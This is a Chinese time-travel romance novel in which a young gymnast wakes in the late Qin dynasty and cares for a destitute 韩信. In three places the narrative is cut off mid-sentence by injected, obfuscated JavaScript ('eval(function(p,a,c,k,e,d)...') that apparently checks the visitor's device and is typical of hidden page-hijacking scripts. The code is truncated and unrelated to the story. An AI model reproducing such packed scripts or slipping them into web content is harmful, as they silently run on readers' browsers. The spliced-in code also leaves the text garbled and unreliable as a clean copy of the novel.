《《铜铃引——我在秦末遇到了重生的韩信》》 1. 铜铃 我叫文言,今年十九岁,是一名就读于体育人体科学专业的大学生,同时也是一位职业艺术体操运动员。原本,我以为自己的人生会如教练制定的计划表一样,一格一格稳稳推进,沿着既定的路径走完职业生涯。 可命运从不打招呼。 那年我十六岁,一场突如其来的意外,彻底改变了这一切。 2018年暑假,父母带我去西安旅行。旅程的最后几日,我们驱车前往西安市霸桥区的一个偏僻村落。那里据说是汉代淮阴侯韩信的埋骨之地。父母说,我从小崇敬这位传奇将军,一直想亲自看一眼他的墓。 然而,就是在那趟旅程之后,我倒下了。 起初只是发烧、头晕,很快却陷入了昏迷。医生检查了无数次,我的呼吸平稳、各项生理指标一切正常,却怎么也醒不过来。那时,医院的走廊里日夜有人来回奔走,却没有人能解释我昏睡的原因。 三个月后,我忽然醒了。 睁开眼的那一刻,父母泣不成声,医生也称这是医学“奇迹”。可他们不知道,我醒来的代价,是脑中那段关于汉墓的记忆被连根拔除——那三天的行程,彻底空白。就像它从未存在过。 外婆说我这是“撞邪了”。在我身体彻底康复之后,她请来一位叫“沈婆”的法师,为我驱邪解困。 沈婆是一位面容枯槁、穿着斑驳麻衣的老妇人。她静静望了我许久,什么也没说,只从怀里取出一条串着一枚古青色泽的铜铃手链,轻轻地系在我手腕上。那声音清脆空灵,仿佛远山暮鼓。她说:“戴着它,便可保你一世平安。” 随后,她又从袖口取出一张泛黄的旧纸,微笑着塞到我手中。纸张边角磨损,朱砂笔迹却清晰如新: 黄泉路许红尘缘, 三生石刻来生念。 朱砂命里也纠缠, 奈何不悔生生劫。 我低头细读,却不懂诗中深意。抬头欲问,那沈婆却只是淡淡一笑,转身离去。外婆想再去寻她,没过几日却听人说,那老法师已于数天前过世。 日子自此恢复了平静。我回归训练,复学读书,身体再未出现异常。而那张纸,我早已随手遗落在某个被遗忘的角落。唯有那串铜铃,仍旧静静缠绕在我的手腕上,伴我日夜。 一年后的清明。 雨水淅淅沥沥,拍打着布满尘土的屋瓦。这是我离开运动队后,第一次跟随父母回外婆家扫墓。 记忆中的外婆家,承载着我童年所有的美好时光,是无忧无虑的轻快,像极了留音谷的泉水,甘醇清透。 留音谷,位于外婆家不远处的一个低矮山谷。谷中泉水冰凉甘甜,泉眼旁生长着一棵千年枫树,四季殷红。起风时,枫叶簌簌飘落,像要将那一汪清泉尽数染红。小时候,我常去那里捡枫叶,再用笔写下心愿,投入水中,让它随波漂流。外婆说,每棵千年古树里都住着个老神仙,只要许愿,它就会应验。既如此,那枫叶便成了老神仙的胡子,我想着,用它许愿一定更灵。 后来,愿望许多,真假便不再计较,而那些年少时的心愿,也早已变了模样。 雨停了。我跟外婆说,想一个人去留音谷看看那棵老红枫。外婆笑着打趣:“这么多年过去,言言还惦记着那老神仙的胡子呢?” 我只是笑笑,没作声,便独自踏上那条熟悉的山路。 清明的雨将土路浸得泥泞黏稠,前行几乎是五步一打滑。走了大约半个小时,水声渐起,泉流的清透打破林间的沉寂。与此同时,手腕上的铜铃突然“叮铃铃”地响了起来——这是它三年来,第一次发出声音。 我一怔。记得那铜铃是老法师送的,起初我还以为它是坏的。无论我如何跳跃奔跑,它都沉默无声,便也懒得再在意。但如今,它竟响了,而且越靠近水流,铃音越发清脆。 很快,我便看见了那棵火红的枫树。它如同一只浴火重生的凤凰,翩然矗立于天地间。多年过去,它依旧茂盛如初。我欣喜地走到树下,摘下一片红叶,从口袋里取出黑笔。忽然想起张爱玲的一句话: “我要你知道,在这个世界上,总有一个人是等着你的,不管在什么时候,不管在什么地方,反正你知道,总有这么一个人。” 我便提笔写下: “希望在漫长岁月里,有一个人始终在等我。” 至死不渝的爱情,是人世间的奢求,也许只是我这个年纪的女孩内心的幻想。但当我真的写下这句话时,心里却并无多大渴求,只是想试一试,看这位老神仙到底有没有千年法力。若真求神便能换来痴心人,那这世上,又怎会有那么多为情所困的人? 枫叶随水而飘,日光正好,我靠着古树,不觉睡去。 梦中,有一位墨衣少年翩然而立,风沙漫卷,他立于风中,眉眼被几缕乱发遮住,那双如大理石般冰冷的眸子,望向我,幽深且孤寂。 那眼神,并不陌生,可我却想不起他是谁。 我想走向他,无 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忽地,一阵寒意袭来,我打了个寒颤,从梦中惊醒。 起风了。睁开眼,我已半躺在满地落红之中。 我下意识看向手腕,猛然惊坐起身——铜铃手串,不见了! 不可能!难道,那不是梦? 我焦急地在枫叶中翻找,忽见一只雪白茸茸的爪子出现在眼前——是贝贝!它嘴里正叼着我的铜铃。 贝贝是外婆家的中华田园犬,憨厚乖巧,是我童年唯一不怕的狗。它总爱蹭我鞋子,还翻肚皮要我给它顺毛。 可它,怎么叼走了我的手链? “贝贝,过来!”我喊。 它却站在一米外,摇着尾巴,模样调皮。 我连忙起身想追,却见它扭着屁股跑到泉边,回头一挑衅,便“噗通”一声,把铜铃丢入水中! 我当即跳下水,心想这泉水应不深,定能捞回来。 水很清,铜铃顺水漂流,竟朝着泉底一个散发蓝光的洞口漂去。我也随之游去。奇怪的是,那洞口仿佛有股吸力,越靠近,我游得越快。可越快,我心底越慌。 我想放弃,转身,却发现身体早被无形的力量笼罩。它不容我挣扎,也不给我时间思考,便将我拽进那道蓝光绽放的深渊。 那一瞬,连同我的意识,也一同,被吞没了。 2. 穿越 时间仿佛倒流,又仿佛凝滞。我被冰凉的泉水一点点浸透了全身,迷迷糊糊地被水流送至岸边。 耳畔传来潺潺水声,伴着淡淡的花香,轻轻将我唤醒。睁开眼,天蓝如洗,几只麻雀在空中忽高忽低地掠过,一只顽皮的麻雀竟落在我鼻尖歇息。我轻轻翻了个身,眼前赫然是一棵火红的枫树,枝叶正随风飘零——这幅景象,仿佛才在不久前见过。只是,它比记忆中的那棵显得更娇小些。 身后忽然传来一阵窸窣脚步,一道温柔年迈的声音随之响起:“姑娘?姑娘?”我被轻轻晃了晃,“醒着吗?” 我迷迷糊糊地翻过身,却倏然惊醒。 来者是一位年过半百的老妇,身着旧式布衣,发髻高挽,手中提着一只装满衣物的木桶,眼中满是关切。她打量着我,而我也在打量她。周围还有几位着装相似的村妇,在河边洗衣。 “这……是哪儿?”我瞪大了眼,有些难以置信。 老妇轻声回应:“姑娘是外乡人?”见我愣着,又补了一句,“这里是留音谷。” “留音谷?可……我不是刚在外婆家见过那棵枫树……”我喃喃低语,环顾四周,这里虽然相似,却更空旷、更原始。 “那姑娘家住何处?”她疑惑地问。 “我……不知道了。”我低头答,自己也觉得不可思议,“这里好像又不像我记忆中的地方……” 老妇看着我,眼中多了几分怜惜,“若是不嫌弃,就随我回去吧。这世道乱得很,姑娘一人留在外头,若遇上歹人,可就不妙了。” 她的语气平和又真诚,我也只当这一切仍是一场梦,便顺从地随她而去。 老妇姓姚,村中人都唤她“姚母”。她是个寡妇,家中只余一孙相依为命。我总觉得,她眉宇间的沧桑,竟有几分外婆的模样。 这几日,姚母多方打听,盼能为我寻回家人,可始终无果。而我,也实在不知该如何解释这荒诞的处境。梦境也好,幻觉也罢,既无法抽身,索性将错就错,权当“失忆”,顺其自然地生活下去。 姚母心善,将我视作半个女儿照拂。她说:“文言姑娘若一时想不起回家的路,便先住在我这儿。等哪日想起来,再做打算。我那孙儿也常嚷着要找个人陪他玩儿呢。” 姚母的孙子,唤作玖朝,年方九岁。他的父亲五年前被征去服役后便杳无音讯,母亲在丈夫离去一年后亦因病过世。自此,他便与祖母相依为命。 某日我与姚母闲聊,顺口问及现在是哪年。姚母有些诧异地看了我一眼:“秦二世元年。” “秦二世元年……”我低声重复,“那不就是公元前209年?” 姚母顿时有些紧张,“文言姑娘,你想起了什么?” “没……没有,只是太震惊了。”我心中暗惊:老天,你要我梦回秦末,到底有何深意? 正在此时,玖朝蹦蹦跳跳地跑来,手中捧着几朵野花,眼睛亮晶晶的,“文言姐姐,这是给你的!祖母说女子都爱花,你收了,病就会好啦!” 他穿着一件浅蓝色布衣,头发用黑布束成马尾,神气中透着一股英气。 我接过野花,忍不住捏了捏他稚嫩的脸颊,“小玖真讨人喜欢。” 他羞怯地低下头,躲进了姚母怀中。 姚母叹息说,玖朝自幼便被村中孩童欺负,说他克死双亲。他从不哭,只是默默忍着。每次回家,脸上手上常常青一块紫一块,衣衫不整。可他从不言苦,只是小小的手常常紧紧握拳。 一日闲聊,我问他:“小玖,长大以后想做什么?” 他沉吟片刻,忽地抬头,语气坚定:“小玖要做能以一敌百的大将军!” 我怔了一下,随即轻轻抚着他的发顶笑道:“那小玖定能如愿。” 姚母虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏夜微凉,乡野间的风也轻柔。我独自坐于院前木椅,不自觉望向夜空。究竟是这场梦过于真实,还是我真的已经离开了那个世界?为何在这漫天繁星下,对父母亲人的思念会这般浓稠,连着心口都有隐隐的拉扯感。 一个可怕的念头从脑海间闪过:我不会真的穿越了吧! 3. 救他 次日清晨醒来,依旧是在姚母的屋中。榻上凉席尚余温热,我却已无心再躺。连日压抑的情绪仿佛在昨夜达到极点,我再无法镇定地扮演那个无家可归的“失忆少女”。 我想找回真相。哪怕只是线索,哪怕仍在梦中。 于是,我决定再次前往留音谷。 姚母每日清早都会去谷中河边洗衣,我便翘了玖朝的课,悄悄跟着她一道前行。 今日的天格外澄澈,碧蓝如洗,夏花盛放,红橙黄白交错点缀在草木间,将满谷葱茏衬得愈发绚丽。走在曲折山径间,远远地,我便望见那棵熟悉的红枫。 它依旧静静伫立在河岸边,枝叶如火,孤绝挺拔,仿佛与四周的夏意隔着一层尘烟,自成风景。 我忍不住问:“这棵枫树,以前就在这儿吗?” 姚母一边拧着湿布一边回答:“是啊,这棵树早就在了,听说有上百年了,是条真正的老命根子。更奇的是,这树一年四季都是红的,从未凋零过。村里老人都说,它是仙人所化,才这般长青不老。” “四季殷红,百年不凋……”我喃喃自语,望着那一树红云出神。 我小跑至树下,围着它左瞧右看:树干粗壮,枝叶繁茂,除了红得有些诡异之外,并无其他神异。终究只是棵树罢了。 心中不免失落,我转身回到河边,蹲下身洗衣。 凉凉流水拂过素衣,阳光透过水面,打下一层细碎流光。我低头凝视水中微晃的倒影,仿佛能在波光中看见另一个时空的自己。 忽然,“哗——”地一声,几道急促的水声打破宁静,冰凉水珠溅了我一身。 我一惊,抬头看向身旁。 一名男子正跪在河边,低着头,拼命地用手捧水灌入口中。粗布灰衣,满是泥垢;发丝凌乱遮住了半张瘦削的面庞,只有一道挺直的鼻梁勾勒出轮廓。 他喝水的姿态,近乎狼狈。像是一个从旱地逃出的旅人,终于在绝境中发现一汪清泉。 我怔怔地望着他,心中莫名泛起一股怜意。 “慢点喝,你这样会呛着的。”我轻声劝道。 他手中动作微顿,像是终于意识到身边有人,缓缓转过脸来—— 那是一张陌生又熟悉的脸。他的眼睛沉沉如 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幽幽水月流光,丝丝缕缕地缠绕在倚风微晃的旧木窗上。夜色凄迷,仿佛掩埋在心底某个积满尘埃的角落,无星无光,无人守候。屋内那张被虫蚁蛀蚀过多次的四角木桌上,点着一盏半明半暗的红烛,火光昏黄微晃。 昏黄的光线勾勒出榻上男子清晰的轮廓。我借着这星星点点的微光,凝望他熟睡的面容,目光停留在他清瘦的脸庞上,不觉失了神。 那夜的梦,真实得仿佛是一段被遗忘许久的旧时记忆,忽然间挣脱束缚,试图与现实交织,令人恍惚,又隐隐不安。 男子身上的灰布衣早已破旧不堪,乌发凌乱,模样腌臜,与街头流浪汉无异。偏偏他腰间还佩着一柄精致的青铜剑,与此时这副狼狈的模样格格不入。大夫说他是因饥饿过度而昏厥,恐已有多日未进食。若非今早我与姚母发现得早,只怕性命堪忧。 我给他灌了些甜水,待他体力稍有恢复后,便应能缓缓苏醒。照看他已有些时辰,只觉身体酸乏,正欲唤玖朝来替我一会儿,忽见那人微动的睫毛轻轻一颤,缓缓睁开了眼。 那双幽深的眼,仿若无光的清潭,最初只是沉沉望向上方,良久,才将目光慢慢移至我身上。那一刻,我看不透他眼底的情绪。那墨色深沉得像个初降尘世的婴孩,苍白而脆弱,静静凝视着眼前的我,亦或这陌生的世界。良久,他的双眸才泛起一丝微光。干裂的唇微微颤动,艰难地吐出一句气若游丝的话: “有……吃的吗?” 我霎时从他那熟悉的眼眸中回过神来,连忙应道:“有的,我这就给你拿来。” 他的眼中浮现出一丝温软的神色,嘴角轻轻弯了下:“多谢。” 我将炖好的鱼粥端至榻前,轻声叮嘱:“刚热好的,得慢些吃,小心烫。” 他颤颤地接过碗,我便一眨不眨地望着他。他拿起勺子,舀粥,送入口中,动作迟缓却专注。我不禁开口问道:“好吃吗?那是我昨天在河里捞的大鱼,本想圈养几日,见你这副模样,便提前炖了粥……第一次做。” 他起初只是浅尝几口,旋即改为大口饮食,声音也终于有了些气力,唇边浮起一丝笑意:“好吃。” 说完,他竟如喝水一般,三两口便将整碗粥吃了个干净,又有些不好意思地拭了拭嘴,“让姑娘见笑了。” 我接过空碗,道:“没吃饱吧?我再去给你盛。” 刚转身,那人却忽地开口:“在下,韩信。” 话音一落,像是带着试探与等待,顿时叫我心头一震。 韩信…… “哐当”一声,碗不知怎的从我手中滑落,碎了一地。 西汉开国名将,淮阴侯韩信?竟是他?那夜梦中之人,也是他吗? 他为何会出现在我的梦里?还是说——是我闯入了他的故事? 双腿不由一软,像是踩在了棉絮上。我缓缓回头看他,只觉得脸上的表情不知所云,想来应当难看至极。 他似乎还在等我回应,却又迅速收敛神色,只留下一双幽暗如渊的眼,“敢问姑娘芳名?” 我凝视着他那双深不见底的眼眸,强作镇定回道:“我叫文言。” 说罢,转身飞奔而去。 兵仙韩信,西汉开国第一功臣,曾是攻无不克、战无不胜之将,被萧何誉为“国士无双”的奇才,却也是那句“鸟尽弓藏,兔死狗烹”的最佳注脚。他的结局是悲剧的、冷酷的。可眼前这个衣衫褴褛、虚弱无助的男子,竟就是他?他为何会以这样的样子出现在我眼前? “文言姑娘?” “啊?”思绪倏然被打断,我回过神来,才见姚母正神色焦急地从我手中夺过碎碗片。这才发现,殷红的鲜血正自指缝间一滴滴滑落,溅在地面。 原来……我会疼! 这不是梦!这不是一个怎样都醒不过来的幻境。我所见、所闻、所经历的一切都是真实的。若非真实,又怎会这般清晰?又怎会伤口这般疼? 惊慌失措中,我转头望向正收拾残局的姚母,忍不住跪身,颤抖地抓住她的手腕,声音哽咽:“我……我回不去了……我真的回不去了……” 泪水再无法控制,扑簌簌落下。 姚母立刻回握住我的手臂,稳稳将我搂入怀中,柔声安抚:“嘘……慢慢说,别怕,姚母在呢。” 我努力调节呼吸,却依旧止不住眼泪,“姚母,我……我回不了家了。” 她一边用袖子帮我擦眼泪,一边轻轻拍着我的背,就像个温柔年迈的母亲,轻声哄道:“没事的,没事的。若是没有家了,那从今往后,这里便是你的家。” 我渐渐安静下来,却依旧泪流不止。 姚母慌忙又为我拭泪,语气愈发心疼:“傻孩子,慢慢来,慢慢想。就算你再也想不起家在哪里,只要我还活着,或者只要你愿意,就把我当成你的亲人吧。我会像疼小玖一样疼你。” 泪水仍止不住地涌出,我明明点头应了,可心底却仍难以真正接受这个事实。 那些只存在于小说里的奇幻情节,那些连科学都无法解释的现象,怎会偏偏降临在我身上? 我穿越了——穿越到了公元前209年,秦末乱世,且与落魄之时的韩信相遇。记得我十六岁那年那场沉睡,也许,也与这个“淮阴侯”脱不了干系……莫非这一切,早已有了冥冥中的安排? “文言姑娘,粥好了。”姚母柔声打断我的沉思,唤我回神,“我先帮你盛上,等你好些了别忘了送过去。记得把眼泪擦干,不然人家还以为咱们不欢迎他呢。” 屋内的烛火烧了一半,昏黄的光晕静静摇曳,将榻上的身影轻轻笼罩。隔着一层朦胧的微光,我才看清他几分,尤其是那双如大理石般幽深冰凉的眼眸,在火光的映衬下,愈发清晰。 韩信静坐于榻,半倚床栏,幽暗的眸子穿过跳动的烛焰落在我身上,语调温和:“阿言,你的眼睛怎么了?” 阿言? 梦中少年的面容猝然浮现脑海。那人也曾以同样的目光看着我,唤我“阿言”。 我正欲将手中碗递过去,手却不自觉停顿了。心中诸多疑问翻涌,使我言辞踌躇,“没……没什么。只是,你为何会这样称呼我?从小到大,从未有人这样唤过我。” 我盯着他的眼睛,试图从中寻出一丝答案。 他也静静凝视着我,眼眸深处隐隐浮动着难以捕捉的情绪。但那抹微光转瞬即逝,很快被寒意覆盖。他顺手接过碗,淡声道:“我以为这样唤你,你会喜欢。” 我轻轻一笑:“我不太在意这些称呼。只是,曾有一个人也这般叫我,而那人与韩公子你倒是有几分相似……” “韩公子?”他低低重复,眉眼微动,“阿言还是叫我‘韩信’吧。这样,听着不至于生分。” 他神色微异,凉意中透出一丝淡淡的落寞。 “那便恭敬不如从命了——韩信。”我应道。 他的嘴角终于浮现出一抹淡笑,“阿言还未回答我,你的眼睛,像是哭过。” 我赶紧低头,抹了抹眼角,略显尴尬地道:“没什么,方才有脏东西进了眼睛里,弄疼了我,便流了点泪。”我指了指他手中的碗,“你快趁热吃吧。身子虚着,可耽误不得。” “好。”他笑了笑,低头一口一口慢慢吃起来。 我忍不住靠近几分,轻声问:“你……之前一直都没吃饭吗?大夫说你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩信望着我,忽而轻声一笑:“阿言不同于旁人,你心中有山河乾坤,令信倾佩。” 他的眼神柔了下来,在微光之中,轮廓更显清隽。此前我只注意到那双熟悉的眼,如今却发觉他五官深刻,鼻梁挺拔,身上竟隐隐透出一股孤傲清贵之气。 我心头微颤,连忙垂下眼睑,试图掩饰微红的脸颊,“你……吃完了吗?” 他微微一愣,温声道:“嗯,吃完了。” “那我拿碗走了,你早些歇息。”我一边说着,一边接过碗欲起身离去。 他却突然问道:“阿言,你说人死了,就真的会把一切都忘记吗?” 这问题突兀至极。我转身看他,只见他神情专注,带着一丝不解与探究,仿佛想穿透我眼底寻得某种答案。 我愣了一下,才缓缓道:“也许吧。传说中,人死后要饮下忘川水,忘却前尘,方能入轮回。但那些终究只是神话。现实中,或许人死了,就什么都没了,只剩一堆冷骨。” 韩信的神情微黯,眼底仿佛掠过一抹失落。但他很快收敛起情绪,恢复了惯常的疏离与冷淡:“今夜,多谢。待我好些了,定会亲自向姚母致谢。” 我点了点头,“早些歇息。”语毕,终于走出了他的房间。 那一夜,我独自坐在院中,抬头仰望满天星辰。 人常说,天上每一颗星星,都是离世亲人的魂灵。我不禁猜想,那一刻,父母和外婆是否也正望着同一片星空,在遥远的时空里惦念着我。 “爸、妈,我很好。请你们一定要保重身体,不要再为我伤心。你们不孝的女儿文言,一定会找到回去的路,再与你们重聚。我保证。” 5. 铜铃再现 原本最爱缠着我的玖朝,自从韩信来到家中后,便一改往日模样,开始殷勤地讨好起韩信来。 事情的起因是这样的——韩信每日清晨都会在院中练剑,他的剑术极好。那柄青铜长剑在他手中仿佛拥有了灵性,剑光如雪,招招式式皆有寒意凛然,分明是一出鞘,便已达“人剑合一”之境。玖朝自幼崇尚武艺,对尚武之人尤为敬仰。韩信那一身潇洒剑法,便是他心中向往的具象化。 韩信练剑向来在天未亮时起,玖朝自从意外撞见一次后,便比以往更早醒来一个时辰。起初,我与姚母还以为他是夜里睡不安稳,直到某日我早起路过院落,忽见角落里一只蠕动的倒扣竹篮,走近一瞧,竟发现是玖朝躲在里头。那小小的人蜷缩在竹篮中,前头还有株比他还高的桂花树作掩。 我本欲轻唤“小玖”,他却慌忙朝我做了个噤声的手势,这才注意到院中不远,韩信正舞剑如风。当下便全然明白了这孩子的心思。 起初他胆子小,只敢偷偷躲着看。后来被韩信发现,干脆理直气壮地搬了小凳子,坐在院门前石阶上旁若无人地观剑。再后来,甚至拾了根树枝跟着比划;再往后,他便开始变着法儿地讨好韩信——跑到厨房取了茶壶茶碗,每当韩信收剑歇息,他便一路小跑奉茶上前,活像个小侍童。 韩信是聪明人,一眼便看出他是想学剑,于是自那日始,玖朝便多了一位“武学师傅”。 韩信晨练过后,日头稍高,便会随姚母一同去田间劳作。而我留在家中教玖朝识字讲兵法,课业结束后,再与他一同准备饭食,一并送去田头。午时,四人常寻一处树荫共膳,时光竟也过得分外安宁。 一日讲兵道,我谈及:欲攻克强敌,不仅凭兵势布阵,还需知人心之变,情绪之破。便举楚汉之争中的垓下之战为例——韩信合围项羽,令军中士卒夜唱楚歌。楚军闻歌思乡,哀伤涌动,心神动摇,军心大乱。此役虽未血刃,却攻心致胜,世称“四面楚歌”,实为心理战之典范。 玖朝听得目不转睛,我亦未思忖这故事与当下时局的矛盾,一如既往以现代人的思维与他讲学。 午后,我与玖朝去田间送饭,他双目闪闪,始终盯着韩信不放。 姚母纳罕问:“小玖,不好好吃饭,盯着韩信哥哥作甚?” 韩信亦被他盯得有些不好意思,放下碗筷,温声问:“你可是有什么想同我说?” 只见玖朝眼中星光更亮,忽而一正神色,语气郑重:“韩信哥哥,小玖以后一定更加努力练剑,长大后要像你一样,保家卫国,做个家喻户晓的大将军!” 此话一出,我嘴里的半口饭差点把自己噎了。三人齐齐望向我,我只得用一阵猛烈的咳嗽掩饰那份尴尬。韩信忙伸手轻拍我后背,满眼关切。 “言言姐姐,小玖是说错了什么吗?”他天真望我。 我咳得更厉害了——这小家伙真是想把我活活噎死啊! 韩信见状,递上随身的半壶水,我急忙灌下,这才缓过神来。 但他终究还是望向玖朝,神色微诧:“天下英雄无数,为何偏说想像我?” 玖朝眼睛睁得更大了些,响亮道:“姐姐今日教小玖兵法,说韩信哥哥用兵如神,还懂得用心理战,不动一兵一卒就让敌军溃散。” 空气瞬时凝滞,三双眼同时转向我。 我低头扒饭,故作镇定道:“小玖你记错了。那韩信不是这个韩信,世上同名同姓的多了去了,不是每个韩信都是大将军的。” 玖朝眼里的光一点点黯淡下去,低头默默吃饭。我心头一松,趁着这难得的沉默匆匆吃完,便借口饭后散步,独自朝留音谷走去。 古枫仍静静矗立于水畔,光影穿过赤红叶片,伴风婆娑。纵然换了时空,留音谷依旧是我最常来的地方。水中枫叶飘荡,几乎每一片都写着同一句心愿:愿文言早日归家,与亲人重聚。 我取下一叶枫红,取出墨笔,背靠树干,认真写下心愿。 忽然,一道清冷的声音自不远处传来:“原来你躲在这里。” 我抬眼,只见韩信立于河道旁,负手而立,静静望着我。阳光斜洒,衣袂微扬,几日来那份初至时的狼狈已不复存在。如今的他衣着整洁,乌发如墨,既有习武者的英姿飒爽,又有公子如玉的清隽风雅。 “阿言?”他唤我,再次走近,坐至我旁,靠着枫树,嘴角浮起一抹极淡的笑意。 他道:“姚母说你每日都会来这棵树下,我好奇,就跟来了。你不会介意吧?” 他声音温和,气质却仍带着几分疏离与清冷。两者并存,却不令人拘谨,反倒生出一种恰到好处的安心。我握紧手中枫叶,笑回:“怎么会介意呢?这么美的地方,一个人独享总觉得可惜。” 他忽地从怀中取出一枚尚带水珠的枫叶,上头赫然写着那熟悉的句子:“愿文言早日归家,与亲人重聚。”他轻拭水珠,道:“阿言是与亲人走失了吗?” 我怔怔望着那句心愿,心中一阵酸楚,低声答:“我的家很远很远,远到已不在这片天地之间,甚至……不在这个时空。我也不知道为何会出现在这里,更没人能告诉我原因。你问我是否走失了,其实……也许是,也许不是。我只是落入水中,就再也回不去了。” 他将枫叶珍而重之地收入衣襟,温声问:“所以,阿言并非淮阴人?” 我点头,“算是吧。其实我和你一样,都是被姚母捡回来的。” 他似笑非笑道:“阿言说你的家在很远很远的地方,可有名字?” 我想了想,凑近他耳畔轻声道:“告诉你一个秘密——我来自两千多年后的中国。” 他一怔,却很快平静下来。 我笑着看他,语气轻快:“这种荒诞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他一步上前,声音轻柔,“因你救我于危难。此铃承载我母亲心意,护我平安。今日赠你,愿它也护你一世周全。” 我猛地将铃塞回他手中,慌乱起身:“我不能收。” “你害怕?”他逼近,语气温柔却笃定。 我不敢看他,转身低声道:“你可以给任何人……但别是我。” 他的凉眸缓缓垂下,似是被我方才那句话怔住了。片刻,他将铜铃紧紧攥入掌中,指节微微发白,唇角动了动,终是低声道:“我知道了。既然你不喜欢,我收起来便是。”语气轻柔,却像落在水面的一片冷叶,沉寂无波。 他顿了片刻,又道:“时候不早了,我还得回去帮姚母干活了。” 说罢,他头也未回,转身匆匆而去。 我站在枫树下,望着他渐行渐远的背影,一步步淹没在暮色里。风吹过,枫叶簌簌而落,我却仿佛听不见,只觉心口泛起一阵莫名的痛。 6. 受辱 次日,鸡还未鸣,我就醒了。昨夜辗转反侧难以入眠,耳边总是若有若无的出现那熟悉的铜铃声,还有韩信手握铜铃立于我眼前的画面。那些话还历历在目,让我犹如一只惊弓之鸟,只想逃避现实。 我害怕那铜铃,只因一切的变数都似因它而起。过去,我不知道铜铃的主人是韩信,现在答案浮出水面,先前的猜想亦基本得到了证实:无论穿越的起因是否由铜铃引发,这一切的一切都与韩信有关,连同十六岁那年的意外,都与这位淮阴侯脱不了干系。可究竟是为何呢?在我已有的记忆当中,似乎对这位淮阴侯的了解,除了《史记》中的记载,也无甚再多,可为何他偏偏选了我到他的故事中…… 清晨露重,屋中由淡淡寒意笼罩,我随手寻了件浅青色披风系上,几株秋海棠绣于边角处栩栩如生,这是姚母亲手为我缝制的。窗台被露水打湿了,我将木窗推开,等风将其吹干,亦想把院中的桂花香引入屋中来,却在推开木窗的霎那,有数不尽的粉白花瓣从窗台飘落至屋内……抬眼,就见屋外不远处的两棵木芙蓉下,有一大一小的人影在舞剑。大的,剑风冷冽,势若奔雷,长剑破空而出,尽显天地肃杀之意,千朵花瓣一时间亦被剑锋一分为二。而小的那个,虽剑意稚嫩,可身形灵巧,剑光带风,一招一式间如春雷破土,朝阳初生,尽露少年意气。 玖朝的剑术在韩信的悉心调教下,可谓进步神速。年仅九岁有余,已能把剑舞得这般游刃有余,实乃天赋异禀,是个练武的好苗子。我想若是玖朝能继续这般坚持下去,日后长大投军,定会有出人头地的一天。想到这,心下不由为他感到欣慰,亦被他们二人的剑法吸引,一时在窗台上看得入迷。 “言言姐姐!”玖朝的声音。他不知何时注意到了我,举着剑朝我挥动。 我本能的看向他身旁的韩信,一件布衣长衫,黑发飞舞。他手持长剑,背手屹立在那棵木芙蓉下,身姿如松俊挺,任其细碎的花瓣不时落在他的发梢,眉眼,还有肩上……我下意识的有些回避他的眼眸,只因昨日的那番谈话。 玖朝不知何时已跑进了我房中,个头虽小气力却极大,拽着我的手就往他们方才练剑的地方去。 他边走边道:“言言姐姐,一个人呆着多闷啊,既然起身了,就来和我们一块儿练剑吧。你同小玖说过,女子也可以做将军,那、那句话怎么说来着……巾帼不让须眉,就像花木兰代父从军一样。” 花木兰的故事还是几日前,我给他讲的睡前故事,使他印象极深,听得久久不能入睡。那夜他就对我说,希望有一日我也能成为一个女将军,这样他就可以和我一起上阵杀敌,不用分开了。 我看着他倔强的背影,有些好笑道:“做女将军也是需要天赋的,你言言姐姐我连剑都未摸过,怎么可能一下就成为花木兰呢?你快慢点儿,我的手都被你抓青了。” 玖朝没听我的,而是一把将我拽到韩信跟前,圆圆的眼睛炯炯有神,“韩信哥哥,言言姐姐说这世上女子也可以做将军,小玖想请韩信哥哥也教她练剑。” 我立即摆手制止,“韩信,你可别听他胡闹,我不行的。” 韩信看着我,神色清冷如常,他缓步走到我跟前,“谁说你不行,我教你,你定能行。” “可这也不是一日便能学成的。我看那些英雄大侠可都花了好些年,那都是童子功。”我有些犹豫。 “那你想学吗?”他浅笑的问。 实话说,我却是自小有一个侠女梦,就像那些武侠小说里写的那样,梦想做一个快意恩仇,仗剑天涯的女子。因此,每每看到韩信和玖朝练剑时,心底一直有跃跃欲试的冲动,“我……想学的。” 话未完,韩信已一个箭步拦住我的腰,将剑放在我手中,并一齐握住了那执剑的手。他的声音在我耳边摩挲,“握好了,我这就教你。” 突然,只觉一阵地转天旋,还来不及思考,漫天落花如冬日飘雪般落在我和他的身周。他掌心微凉,却稳重有力,声音如风,轻柔的在我耳边低语,“剑由心发,力随身动;握剑有度,虚实相间;一式一息,动静有序;步如磐石,剑自成山。”就这样,我跟着他的步伐、身体、感觉和律动像一阵风呼啸天地,时而流畅如水,时而遒劲震慑。看得玖朝在一旁阵阵鼓掌欢跳。 末了,他放开了我,“可记住了?” 我慢慢挥舞剑,“却是记住了。” 他信步上前,目光淡淡,却看得深沉,“方才带你一式,便感知你身骨灵巧,步伐稳健而轻盈,剑出虽初学,然形意皆准。阿言,你与这剑道当真相和。若你有意修习剑术,我可教你,就像小玖一般。这样,即便有一日我不在你们身边,你也能有自保之力。” 玖朝亦是跑到我跟前,瞪着圆圆的眼睛猛点头,“言言姐姐,你对小玖说谎了。你的剑明明就舞得很好。” 我不由摸了摸他的脑袋,“那是你韩信哥哥教得好才是。” 